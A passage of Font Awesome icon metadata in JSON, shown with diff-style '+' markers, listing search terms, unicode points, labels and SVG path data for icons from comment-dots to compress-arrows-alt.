256-93.12 256-208S397.38 32 256 32zm24 302.44V352c0 8.84-7.16 16-16 16h-16c-8.84 0-16-7.16-16-16v-17.73c-11.42-1.35-22.28-5.19-31.78-11.46-6.22-4.11-6.82-13.11-1.55-18.38l17.52-17.52c3.74-3.74 9.31-4.24 14.11-2.03 3.18 1.46 6.66 2.22 10.26 2.22h32.78c4.66 0 8.44-3.78 8.44-8.42 0-3.75-2.52-7.08-6.12-8.11l-50.07-14.3c-22.25-6.35-40.01-24.71-42.91-47.67-4.05-32.07 19.03-59.43 49.32-63.05V128c0-8.84 7.16-16 16-16h16c8.84 0 16 7.16 16 16v17.73c11.42 1.35 22.28 5.19 31.78 11.46 6.22 4.11 6.82 13.11 1.55 18.38l-17.52 17.52c-3.74 3.74-9.31 4.24-14.11 2.03a24.516 24.516 0 0 0-10.26-2.22h-32.78c-4.66 0-8.44 3.78-8.44 8.42 0 3.75 2.52 7.08 6.12 8.11l50.07 14.3c22.25 6.36 40.01 24.71 42.91 47.67 4.05 32.06-19.03 59.42-49.32 63.04z" + } + }, + "free": [ + "solid" + ] + }, + "comment-dots": { + "changes": [ + "5.0.9" + ], + "ligatures": [], + "search": { + "terms": [ + "bubble", + "chat", + "commenting", + "conversation", + "feedback", + "message", + "more", + "note", + "notification", + "reply", + "sms", + "speech", + "texting" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f4ad", + "label": "Comment Dots", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635422, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 32C114.6 32 0 125.1 0 240c0 49.6 21.4 95 57 130.7C44.5 421.1 2.7 466 2.2 466.5c-2.2 2.3-2.8 5.7-1.5 8.7S4.8 480 8 480c66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 141.4 0 256-93.1 256-208S397.4 32 256 32zM128 272c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 32C114.6 32 0 125.1 0 240c0 49.6 21.4 95 57 130.7C44.5 421.1 2.7 466 2.2 466.5c-2.2 2.3-2.8 5.7-1.5 8.7S4.8 480 8 480c66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 141.4 0 256-93.1 256-208S397.4 32 256 32zM128 272c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" + }, + "regular": { + "last_modified": 1628088634753, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M144 208c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm112 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm112 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zM256 32C114.6 32 0 125.1 0 240c0 47.6 19.9 91.2 52.9 126.3C38 405.7 7 439.1 6.5 439.5c-6.6 7-8.4 17.2-4.6 26S14.4 480 24 480c61.5 0 110-25.7 139.1-46.3C192 442.8 223.2 448 256 448c141.4 0 256-93.1 256-208S397.4 32 256 32zm0 368c-26.7 0-53.1-4.1-78.4-12.1l-22.7-7.2-19.5 13.8c-14.3 10.1-33.9 21.4-57.5 29 7.3-12.1 14.4-25.7 19.9-40.2l10.6-28.1-20.6-21.8C69.7 314.1 48 282.2 48 240c0-88.2 93.3-160 208-160s208 71.8 208 160-93.3 160-208 160z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M144 208c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm112 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm112 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zM256 32C114.6 32 0 125.1 0 240c0 47.6 19.9 91.2 52.9 126.3C38 405.7 7 439.1 6.5 439.5c-6.6 7-8.4 17.2-4.6 26S14.4 480 24 480c61.5 0 110-25.7 139.1-46.3C192 442.8 223.2 448 256 448c141.4 0 256-93.1 256-208S397.4 32 256 32zm0 368c-26.7 0-53.1-4.1-78.4-12.1l-22.7-7.2-19.5 13.8c-14.3 10.1-33.9 21.4-57.5 29 7.3-12.1 14.4-25.7 19.9-40.2l10.6-28.1-20.6-21.8C69.7 314.1 48 282.2 48 240c0-88.2 93.3-160 208-160s208 71.8 208 160-93.3 160-208 160z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "comment-medical": { + "changes": [ + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "advice", + "bubble", + "chat", + "commenting", + "conversation", + "diagnose", + "feedback", + "message", + "note", + "notification", + "prescription", + "sms", + "speech", + "texting" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7f5", + "label": "Alternate Medical Chat", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635424, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 32C114.62 32 0 125.12 0 240c0 49.56 21.41 95 57 130.74C44.46 421.05 2.7 466 2.2 466.5A8 8 0 0 0 8 480c66.26 0 116-31.75 140.6-51.38A304.66 304.66 0 0 0 256 448c141.39 0 256-93.12 256-208S397.39 32 256 32zm96 232a8 8 0 0 1-8 8h-56v56a8 8 0 0 1-8 8h-48a8 8 0 0 1-8-8v-56h-56a8 8 0 0 1-8-8v-48a8 8 0 0 1 8-8h56v-56a8 8 0 0 1 8-8h48a8 8 0 0 1 8 8v56h56a8 8 0 0 1 8 8z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 32C114.62 32 0 125.12 0 240c0 49.56 21.41 95 57 130.74C44.46 421.05 2.7 466 2.2 466.5A8 8 0 0 0 8 480c66.26 0 116-31.75 140.6-51.38A304.66 304.66 0 0 0 256 448c141.39 0 256-93.12 256-208S397.39 32 256 32zm96 232a8 8 0 0 1-8 8h-56v56a8 8 0 0 1-8 8h-48a8 8 0 0 1-8-8v-56h-56a8 8 0 0 1-8-8v-48a8 8 0 0 1 8-8h56v-56a8 8 0 0 1 8-8h48a8 8 0 0 1 8 8v56h56a8 8 0 0 1 8 8z" + } + }, + "free": [ + "solid" + ] + }, + "comment-slash": { + "changes": [ + "5.0.9" + ], + "ligatures": [], + "search": { + "terms": [ + "bubble", + "cancel", + "chat", + "commenting", + "conversation", + "feedback", + "message", + "mute", + "note", + "notification", + "quiet", + "sms", + "speech", + "texting" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f4b3", + "label": "Comment Slash", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635425, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 240c0 49.6 21.4 95 57 130.7-12.6 50.3-54.3 95.2-54.8 95.8-2.2 2.3-2.8 5.7-1.5 8.7 1.3 2.9 4.1 4.8 7.3 4.8 66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 27.4 0 53.7-3.6 78.4-10L72.9 186.4c-5.6 17.1-8.9 35-8.9 53.6zm569.8 218.1l-114.4-88.4C554.6 334.1 576 289.2 576 240c0-114.9-114.6-208-256-208-65.1 0-124.2 20.1-169.4 52.7L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M64 240c0 49.6 21.4 95 57 130.7-12.6 50.3-54.3 95.2-54.8 95.8-2.2 2.3-2.8 5.7-1.5 8.7 1.3 2.9 4.1 4.8 7.3 4.8 66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 27.4 0 53.7-3.6 78.4-10L72.9 186.4c-5.6 17.1-8.9 35-8.9 53.6zm569.8 218.1l-114.4-88.4C554.6 334.1 576 289.2 576 240c0-114.9-114.6-208-256-208-65.1 0-124.2 20.1-169.4 52.7L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3z" + } + }, + "free": [ + "solid" + ] + }, + "comments": { + "changes": [ + "1", + "5.0.0", + "5.0.9" + ], + "ligatures": [], + "search": { + "terms": [ + "bubble", + "chat", + "commenting", + "conversation", + "feedback", + "message", + "note", + "notification", + "sms", + "speech", + "texting" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f086", + "label": "comments", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635427, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M416 192c0-88.4-93.1-160-208-160S0 103.6 0 192c0 34.3 14.1 65.9 38 92-13.4 30.2-35.5 54.2-35.8 54.5-2.2 2.3-2.8 5.7-1.5 8.7S4.8 352 8 352c36.6 0 66.9-12.3 88.7-25 32.2 15.7 70.3 25 111.3 25 114.9 0 208-71.6 208-160zm122 220c23.9-26 38-57.7 38-92 0-66.9-53.5-124.2-129.3-148.1.9 6.6 1.3 13.3 1.3 20.1 0 105.9-107.7 192-240 192-10.8 0-21.3-.8-31.7-1.9C207.8 439.6 281.8 480 368 480c41 0 79.1-9.2 111.3-25 21.8 12.7 52.1 25 88.7 25 3.2 0 6.1-1.9 7.3-4.8 1.3-2.9.7-6.3-1.5-8.7-.3-.3-22.4-24.2-35.8-54.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M416 192c0-88.4-93.1-160-208-160S0 103.6 0 192c0 34.3 14.1 65.9 38 92-13.4 30.2-35.5 54.2-35.8 54.5-2.2 2.3-2.8 5.7-1.5 8.7S4.8 352 8 352c36.6 0 66.9-12.3 88.7-25 32.2 15.7 70.3 25 111.3 25 114.9 0 208-71.6 208-160zm122 220c23.9-26 38-57.7 38-92 0-66.9-53.5-124.2-129.3-148.1.9 6.6 1.3 13.3 1.3 20.1 0 105.9-107.7 192-240 192-10.8 0-21.3-.8-31.7-1.9C207.8 439.6 281.8 480 368 480c41 0 79.1-9.2 111.3-25 21.8 12.7 52.1 25 88.7 25 3.2 0 6.1-1.9 7.3-4.8 1.3-2.9.7-6.3-1.5-8.7-.3-.3-22.4-24.2-35.8-54.5z" + }, + "regular": { + "last_modified": 1628088634756, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M532 386.2c27.5-27.1 44-61.1 44-98.2 0-80-76.5-146.1-176.2-157.9C368.3 72.5 294.3 32 208 32 93.1 32 0 103.6 0 192c0 37 16.5 71 44 98.2-15.3 30.7-37.3 54.5-37.7 54.9-6.3 6.7-8.1 16.5-4.4 25 3.6 8.5 12 14 21.2 14 53.5 0 96.7-20.2 125.2-38.8 9.2 2.1 18.7 3.7 28.4 4.9C208.1 407.6 281.8 448 368 448c20.8 0 40.8-2.4 59.8-6.8C456.3 459.7 499.4 480 553 480c9.2 0 17.5-5.5 21.2-14 3.6-8.5 1.9-18.3-4.4-25-.4-.3-22.5-24.1-37.8-54.8zm-392.8-92.3L122.1 305c-14.1 9.1-28.5 16.3-43.1 21.4 2.7-4.7 5.4-9.7 8-14.8l15.5-31.1L77.7 256C64.2 242.6 48 220.7 48 192c0-60.7 73.3-112 160-112s160 51.3 160 112-73.3 112-160 112c-16.5 0-33-1.9-49-5.6l-19.8-4.5zM498.3 352l-24.7 24.4 15.5 31.1c2.6 5.1 5.3 10.1 8 14.8-14.6-5.1-29-12.3-43.1-21.4l-17.1-11.1-19.9 4.6c-16 3.7-32.5 5.6-49 5.6-54 0-102.2-20.1-131.3-49.7C338 339.5 416 272.9 416 192c0-3.4-.4-6.7-.7-10C479.7 196.5 528 238.8 528 288c0 28.7-16.2 50.6-29.7 64z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M532 386.2c27.5-27.1 44-61.1 44-98.2 0-80-76.5-146.1-176.2-157.9C368.3 72.5 294.3 32 208 32 93.1 32 0 103.6 0 192c0 37 16.5 71 44 98.2-15.3 30.7-37.3 54.5-37.7 54.9-6.3 6.7-8.1 16.5-4.4 25 3.6 8.5 12 14 21.2 14 53.5 0 96.7-20.2 125.2-38.8 9.2 2.1 18.7 3.7 28.4 4.9C208.1 407.6 281.8 448 368 448c20.8 0 40.8-2.4 59.8-6.8C456.3 459.7 499.4 480 553 480c9.2 0 17.5-5.5 21.2-14 3.6-8.5 1.9-18.3-4.4-25-.4-.3-22.5-24.1-37.8-54.8zm-392.8-92.3L122.1 305c-14.1 9.1-28.5 16.3-43.1 21.4 2.7-4.7 5.4-9.7 8-14.8l15.5-31.1L77.7 256C64.2 242.6 48 220.7 48 192c0-60.7 73.3-112 160-112s160 51.3 160 112-73.3 112-160 112c-16.5 0-33-1.9-49-5.6l-19.8-4.5zM498.3 352l-24.7 24.4 15.5 31.1c2.6 5.1 5.3 10.1 8 14.8-14.6-5.1-29-12.3-43.1-21.4l-17.1-11.1-19.9 4.6c-16 3.7-32.5 5.6-49 5.6-54 0-102.2-20.1-131.3-49.7C338 339.5 416 272.9 416 192c0-3.4-.4-6.7-.7-10C479.7 196.5 528 238.8 528 288c0 28.7-16.2 50.6-29.7 64z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "comments-dollar": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bubble", + "chat", + "commenting", + "conversation", + "feedback", + "message", + "money", + "note", + "notification", + "pay", + "sms", + "speech", + "spend", + "texting", + "transfer" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f653", + "label": "Comments Dollar", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635427, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M416 192c0-88.37-93.12-160-208-160S0 103.63 0 192c0 34.27 14.13 65.95 37.97 91.98C24.61 314.22 2.52 338.16 2.2 338.5A7.995 7.995 0 0 0 8 352c36.58 0 66.93-12.25 88.73-24.98C128.93 342.76 167.02 352 208 352c114.88 0 208-71.63 208-160zm-224 96v-16.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V96c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.05 44.44-42.67 45.07V288c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm346.01 123.99C561.87 385.96 576 354.27 576 320c0-66.94-53.49-124.2-129.33-148.07.86 6.6 1.33 13.29 1.33 20.07 0 105.87-107.66 192-240 192-10.78 0-21.32-.77-31.73-1.88C207.8 439.63 281.77 480 368 480c40.98 0 79.07-9.24 111.27-24.98C501.07 467.75 531.42 480 568 480c3.2 0 6.09-1.91 7.34-4.84 1.27-2.94.66-6.34-1.55-8.67-.31-.33-22.42-24.24-35.78-54.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M416 192c0-88.37-93.12-160-208-160S0 103.63 0 192c0 34.27 14.13 65.95 37.97 91.98C24.61 314.22 2.52 338.16 2.2 338.5A7.995 7.995 0 0 0 8 352c36.58 0 66.93-12.25 88.73-24.98C128.93 342.76 167.02 352 208 352c114.88 0 208-71.63 208-160zm-224 96v-16.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V96c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.05 44.44-42.67 45.07V288c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm346.01 123.99C561.87 385.96 576 354.27 576 320c0-66.94-53.49-124.2-129.33-148.07.86 6.6 1.33 13.29 1.33 20.07 0 105.87-107.66 192-240 192-10.78 0-21.32-.77-31.73-1.88C207.8 439.63 281.77 480 368 480c40.98 0 79.07-9.24 111.27-24.98C501.07 467.75 531.42 480 568 480c3.2 0 6.09-1.91 7.34-4.84 1.27-2.94.66-6.34-1.55-8.67-.31-.33-22.42-24.24-35.78-54.5z" + } + }, + "free": [ + "solid" + ] + }, + "compact-disc": { + "changes": [ + "5.0.13", + "5.10.1", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "album", + "bluray", + "cd", + "disc", + "dvd", + "media", + "movie", + "music", + "record", + "video", + "vinyl" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f51f", + "label": "Compact Disc", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635427, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM88 256H56c0-105.9 86.1-192 192-192v32c-88.2 0-160 71.8-160 160zm160 96c-53 0-96-43-96-96s43-96 96-96 96 43 96 96-43 96-96 96zm0-128c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM88 256H56c0-105.9 86.1-192 192-192v32c-88.2 0-160 71.8-160 160zm160 96c-53 0-96-43-96-96s43-96 96-96 96 43 96 96-43 96-96 96zm0-128c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z" + } + }, + "free": [ + "solid" + ] + }, + "compass": { + "changes": [ + "3.2", + "5.0.0", + "5.2.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "directions", + "directory", + "location", + "menu", + "navigation", + "safari", + "travel" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f14e", + "label": "Compass", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635428, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M225.38 233.37c-12.5 12.5-12.5 32.76 0 45.25 12.49 12.5 32.76 12.5 45.25 0 12.5-12.5 12.5-32.76 0-45.25-12.5-12.49-32.76-12.49-45.25 0zM248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm126.14 148.05L308.17 300.4a31.938 31.938 0 0 1-15.77 15.77l-144.34 65.97c-16.65 7.61-33.81-9.55-26.2-26.2l65.98-144.35a31.938 31.938 0 0 1 15.77-15.77l144.34-65.97c16.65-7.6 33.8 9.55 26.19 26.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M225.38 233.37c-12.5 12.5-12.5 32.76 0 45.25 12.49 12.5 32.76 12.5 45.25 0 12.5-12.5 12.5-32.76 0-45.25-12.5-12.49-32.76-12.49-45.25 0zM248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm126.14 148.05L308.17 300.4a31.938 31.938 0 0 1-15.77 15.77l-144.34 65.97c-16.65 7.61-33.81-9.55-26.2-26.2l65.98-144.35a31.938 31.938 0 0 1 15.77-15.77l144.34-65.97c16.65-7.6 33.8 9.55 26.19 26.2z" + }, + "regular": { + "last_modified": 1628088634757, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M347.94 129.86L203.6 195.83a31.938 31.938 0 0 0-15.77 15.77l-65.97 144.34c-7.61 16.65 9.54 33.81 26.2 26.2l144.34-65.97a31.938 31.938 0 0 0 15.77-15.77l65.97-144.34c7.61-16.66-9.54-33.81-26.2-26.2zm-77.36 148.72c-12.47 12.47-32.69 12.47-45.16 0-12.47-12.47-12.47-32.69 0-45.16 12.47-12.47 32.69-12.47 45.16 0 12.47 12.47 12.47 32.69 0 45.16zM248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 448c-110.28 0-200-89.72-200-200S137.72 56 248 56s200 89.72 200 200-89.72 200-200 200z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M347.94 129.86L203.6 195.83a31.938 31.938 0 0 0-15.77 15.77l-65.97 144.34c-7.61 16.65 9.54 33.81 26.2 26.2l144.34-65.97a31.938 31.938 0 0 0 15.77-15.77l65.97-144.34c7.61-16.66-9.54-33.81-26.2-26.2zm-77.36 148.72c-12.47 12.47-32.69 12.47-45.16 0-12.47-12.47-12.47-32.69 0-45.16 12.47-12.47 32.69-12.47 45.16 0 12.47 12.47 12.47 32.69 0 45.16zM248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 448c-110.28 0-200-89.72-200-200S137.72 56 248 56s200 89.72 200 200-89.72 200-200 200z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "compress": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "collapse", + "fullscreen", + "minimize", + "move", + "resize", + "shrink", + "smaller" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f066", + "label": "Compress", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635429, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M436 192H312c-13.3 0-24-10.7-24-24V44c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v84h84c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12zm-276-24V44c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v84H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h124c13.3 0 24-10.7 24-24zm0 300V344c0-13.3-10.7-24-24-24H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h84v84c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm192 0v-84h84c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12H312c-13.3 0-24 10.7-24 24v124c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M436 192H312c-13.3 0-24-10.7-24-24V44c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v84h84c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12zm-276-24V44c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v84H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h124c13.3 0 24-10.7 24-24zm0 300V344c0-13.3-10.7-24-24-24H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h84v84c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm192 0v-84h84c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12H312c-13.3 0-24 10.7-24 24v124c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12z" + } + }, + "free": [ + "solid" + ] + }, + "compress-alt": { + "changes": [ + "1", + "5.0.0", + "5.12.0" + ], + "ligatures": [], + "search": { + "terms": [ + "collapse", + "fullscreen", + "minimize", + "move", + "resize", + "shrink", + "smaller" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f422", + "label": "Alternate Compress", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635428, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M4.686 427.314L104 328l-32.922-31.029C55.958 281.851 66.666 256 88.048 256h112C213.303 256 224 266.745 224 280v112c0 21.382-25.803 32.09-40.922 16.971L152 376l-99.314 99.314c-6.248 6.248-16.379 6.248-22.627 0L4.686 449.941c-6.248-6.248-6.248-16.379 0-22.627zM443.314 84.686L344 184l32.922 31.029c15.12 15.12 4.412 40.971-16.97 40.971h-112C234.697 256 224 245.255 224 232V120c0-21.382 25.803-32.09 40.922-16.971L296 136l99.314-99.314c6.248-6.248 16.379-6.248 22.627 0l25.373 25.373c6.248 6.248 6.248 16.379 0 22.627z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M4.686 427.314L104 328l-32.922-31.029C55.958 281.851 66.666 256 88.048 256h112C213.303 256 224 266.745 224 280v112c0 21.382-25.803 32.09-40.922 16.971L152 376l-99.314 99.314c-6.248 6.248-16.379 6.248-22.627 0L4.686 449.941c-6.248-6.248-6.248-16.379 0-22.627zM443.314 84.686L344 184l32.922 31.029c15.12 15.12 4.412 40.971-16.97 40.971h-112C234.697 256 224 245.255 224 232V120c0-21.382 25.803-32.09 40.922-16.971L296 136l99.314-99.314c6.248-6.248 16.379-6.248 22.627 0l25.373 25.373c6.248 6.248 6.248 16.379 0 22.627z" + } + }, + "free": [ + "solid" + ] + }, + "compress-arrows-alt": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "collapse", + "fullscreen", + "minimize", + "move", + "resize", + "shrink", + "smaller" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f78c", + "label": "Alternate Compress Arrows", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635428, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M200 288H88c-21.4 0-32.1 25.8-17 41l32.9 31-99.2 99.3c-6.2 6.2-6.2 16.4 0 22.6l25.4 25.4c6.2 6.2 16.4 6.2 22.6 0L152 408l31.1 33c15.1 15.1 40.9 4.4 40.9-17V312c0-13.3-10.7-24-24-24zm112-64h112c21.4 0 32.1-25.9 17-41l-33-31 99.3-99.3c6.2-6.2 6.2-16.4 0-22.6L481.9 4.7c-6.2-6.2-16.4-6.2-22.6 0L360 104l-31.1-33C313.8 55.9 288 66.6 288 88v112c0 13.3 10.7 24 24 24zm96 136l33-31.1c15.1-15.1 4.4-40.9-17-40.9H312c-13.3 0-24 10.7-24 24v112c0 21.4 25.9 32.1 41 17l31-32.9 99.3 99.3c6.2 6.2 16.4 6.2 22.6 0l25.4-25.4c6.2-6.2 6.2-16.4 0-22.6L408 360zM183 71.1L152 104 52.7 4.7c-6.2-6.2-16.4-6.2-22.6 0L4.7 30.1c-6.2 6.2-6.2 16.4 0 22.6L104 152l-33 31.1C55.9 198.2 66.6 224 88 224h112c13.3 0 24-10.7 24-24V88c0-21.3-25.9-32-41-16.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M200 288H88c-21.4 0-32.1 25.8-17 41l32.9 31-99.2 99.3c-6.2 6.2-6.2 16.4 0 22.6l25.4 25.4c6.2 6.2 16.4 6.2 22.6 0L152 408l31.1 33c15.1 15.1 40.9 4.4 40.9-17V312c0-13.3-10.7-24-24-24zm112-64h112c21.4 0 32.1-25.9 17-41l-33-31 99.3-99.3c6.2-6.2 6.2-16.4 0-22.6L481.9 4.7c-6.2-6.2-16.4-6.2-22.6 0L360 104l-31.1-33C313.8 55.9 288 66.6 288 88v112c0 13.3 10.7 24 24 24zm96 136l33-31.1c15.1-15.1 4.4-40.9-17-40.9H312c-13.3 0-24 10.7-24 24v112c0 21.4 25.9 32.1 41 17l31-32.9 99.3 99.3c6.2 6.2 16.4 6.2 22.6 0l25.4-25.4c6.2-6.2 6.2-16.4 0-22.6L408 360zM183 71.1L152 104 52.7 